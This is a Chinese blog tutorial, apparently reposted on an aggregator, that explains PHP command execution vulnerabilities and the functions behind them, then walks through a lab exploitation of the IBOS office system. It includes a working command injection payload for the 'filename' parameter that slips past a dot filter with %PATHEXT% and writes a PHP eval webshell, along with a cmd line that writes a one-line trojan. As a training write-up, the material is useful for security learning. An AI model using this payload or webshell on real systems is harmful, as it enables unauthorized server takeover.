当前位置:网站首页>命令执行漏洞详解
命令执行漏洞详解
2022-06-12 04:13:00 【poggioxay】
小知识
- 目标机器是
linux执行的就是Bash命令,如果是windows执行的就是cmd命令。 cmd中&表示执行多条命令。- 关于命令执行漏洞绕过过滤的讨论
漏洞原理
- 用户输入的数据被当做系统命令进行执行。
- 代码执行:用户输入的数据当作后端代码执行
命令执行:用户输入的数据当作系统命令【cmd、bash】执行 <?php system('whoami')?>其实一句话木马的本质就是一个命令执行漏洞。echo "<?php eval($_REQUEST[8])?>" 123.php通过cmd写文件。- 通过代码执行漏洞 => 都可以调用系统命令
system('whoami')
通过系统命令漏洞 => 能调用代码执行,如cmd写文件获得shell。 - 因为代码执行的情况下,可以调用命令执行的函数,所以大部分代码执行都可以调用系统命令,菜刀的终端操作也是利用了命令执行的函数。
函数解析
system()函数
执行命令并且返回结果且输出
exec()函数
只执行,并且只会返回结果的最后一行
shell_exec()函数
执行命令并且返回所有结果,但是没有输出
`` [反引号]
执行命令并且返回结果,但没有输出 【shell_exec 特殊写法,即禁用shell_exec()函数反引号也不会生效】。
passthru()函数
执行命令并且返回结果且全部输出
popen()
popen(要执行的命令,参数)
$a = popen('whoami','r'); //r是只读、w是写入
echo fread($a,1024);
//这个执行的返回值比较特殊,返回的是一个文件指针,需要用fread去读取返回值;1024指返回值长度。
对于渗透测试人员而言,返回值并没有那么重要,核心是代码的确已经执行了,这个才是重中之重。
zend加密
Zend Guard是目前市面上最成熟的PHP源码加密产品,只要PHP加载了这个第三方加密插件,那么就可以直接运行加密后的源码,网上也有相关的解密工具。
靶场练习
- 靶场使用的是
IBOS办公系统, 一键化安装的网站系统 【安装数据库、网站、web容器、并且配置好】。 - 我们先在本地进行安装测试,因为为
exe可执行文件,所以建议在虚拟机安装。 - 安装成功后即可得到源码,我们打开代码审计工具,查找第一个函数
system()。
- 第二个函数
exec()
前面的很明显都是关于数据库的sql语句的,与系统命令无关。
shell_exec($mysqlBin . "mysql -h\"" . $db["host"] . ($db["port"] ? (is_numeric($db["port"]) ? " -P" . $db["port"] : " -S\"" . $db["port"] . "\"") : "") . "\" -u\"" . $db["username"] . "\" -p\"" . $db["password"] . "\" \"" . $db["dbname"] . "\" < " . $file);
- 当我们遇到很复杂的语句时,回到
IBOS页面,经过测试,得出这串代码的意义是这个sql语句写入数据库中。
C:/IBOS520/MySQL/bin/mysql -h"127.0.0.1 -P3306" -u"root" -p"root" "ibos" < backup/2022-01-27_L6c686H4.sql


通过代码审计知道上一步的作用是导入数据库 ,经过尝试系统会对我们输入的信息进行过滤 ,也就是说我们无法篡改数据库的id ,后台会对文件是否存在进行校验。
- 我们知道访问数据库会运行系统命令函数 ,既然恢复数据库需要进行检测,没有可以利用的点 。那么我们尝试使用数据库备份执行系统命令, 看到备份模式刚好有一个就是使用系统命令进行备份,这里一定会执行系统命令。

- 发现文件存在
zend加密,进行解密。 - 我们再次查找函数
shell_exec(),发现了新的利用点。
$dumpFile =>
$dumpFile = $backupFileName . "-%s.sql";
$backupFileName = self::BACKUP_DIR . "/" .core\utils\str_replace(array("/", "\\", ".", "'"), "", $fileName);
$fileName = core\utils\Env::getRequest("filename");
//BACKUP_DIR为常量;str_replace为函数,核心是正则替换,对变量filename的处理,/ \\ . ' 全部都会变为空。
//getRequest为接受传参
- 找到
filename这个传参点, 将filename的传参方式由POST修改为GET,这样可以规避URL编码造成的语句失效, 并且源码允许进行GET传参 。后台会对.进行过滤,我们使用cmd的函数进行规避。构造最终payload为1&echo "<?php @eval($_REQUEST[8]);?>" >a666%PATHEXT:~0,1%php&1,进行url编码。

- 成功上传一句话木马,使用菜刀进行连接获取
flag。
边栏推荐
- Brief introduction to 44 official cases of vrtk3.3 (combined with steamvr)
- What are the black box test case design methods in software testing methods?
- Smart panel WiFi linkage technology, esp32 wireless chip module, Internet of things WiFi communication application
- JSP实现银柜台业务绩效考核系统
- 双目标定学习资料整理
- 图解 Apache SkyWalking UI 的使用
- 树莓派4B使用Intel Movidius NCS 2来进行推断加速
- Solution to missing in unity script
- MySQL的check约束数字问题
- Kotlin协程协程作用域,CoroutineScope MainScope GlobalScope viewModelScope lifecycleScope 分别代表什么
猜你喜欢

What are the black box test case design methods in software testing methods?

PyTorch中的Sequential、ModuleList和ModuleDict用法总结

Drop down menu dropdown yyds dry inventory of semantic UI

Legendary biological car-t has been approved by FDA, becoming the first domestic cell therapy product to successfully go to sea

KV storage separation principle and performance evaluation of nebula graph

Detailed explanation of data platform SQL development and function use
![[C language] analysis of variable essence](/img/b4/13a5800f2c960ec590c9f7480b09d0.png)
[C language] analysis of variable essence

WiFi module scheme of the wireless Internet of things, esp32-s3 chip technology, helps the equipment to be intelligent

路灯照明物联网技术方案,ESP32-S3芯片通信应用,智能WiFi远程控制

The road of global evolution of vivo global mall -- multilingual solution
随机推荐
The memory four area model of C language program
【C语言】封装接口(加减乘除)
php和js去掉所有空格
Detailed explanation of software testing process
R语言plotly可视化:plotly可视化分组(grouped)小提琴图(grouped violin plot in R with plotly)
vim命令大全
Pat class B 1067 trial password (20 points)
Database selected 60 interview questions
What does hard work mean to you?
Naive Bayes classification of scikit learn
R语言使用survival包的coxph函数构建cox回归模型、使用ggrisk包的ggrisk函数可视化Cox回归的风险评分图(风险得分图)、并解读风险评分图、基于LIRI数据集(基因数据集)
[fpga+fft] design and implementation of FFT frequency meter based on FPGA
Kinematic gauge (14) - Triangle optimal path problem
R language plot visualization: use plot to visualize simple regression model linear regression plots
调用提醒事项
[automation] generate xlsx report based on openstack automated patrol deployed by kolla
MySQL的check约束数字问题
What is the difference between FOB, CIF and CFR?
R language write function: use the write function to write data to the rstudio console, and the write function to write data to a new rstudio window (start a new window)
PostMessage implements window communication